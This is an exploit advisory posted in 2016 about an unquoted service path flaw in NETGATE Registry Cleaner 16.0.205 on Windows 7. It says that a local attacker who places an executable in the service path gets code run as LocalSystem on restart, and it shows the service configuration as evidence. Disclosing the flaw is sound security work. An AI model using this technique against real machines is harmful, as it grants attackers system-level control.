NETGATE Registry Cleaner 16.0.205 Privilege Escalation
Posted on 19 October 2016
######################################################################### # Exploit Title: NETGATE Registry Cleaner Unquoted Service Path Privilege Escalation # Date: 15/10/2016 # Author: Amir.ght # Vendor Homepage: http://www.netgate.sk/ # Software Link: http://www.netgate.sk/download/download.php?id=4 #version : build 16.0.205 (Latest) # Tested on: Windows 7 ########################################################################## NETGATE Registry Cleaner installs a service with an unquoted service path To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service. Upon service restart or system reboot, the malicious code will be run with elevated privileges. ------------------------------------------- C:>sc qc NGRegClnSrv [SC] QueryServiceConfig SUCCESS SERVICE_NAME: NGRegClnSrv TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:Program FilesNETGATERegistry CleanerRegistryCleanerSrv.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : NETGATE Registry Cleaner Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem
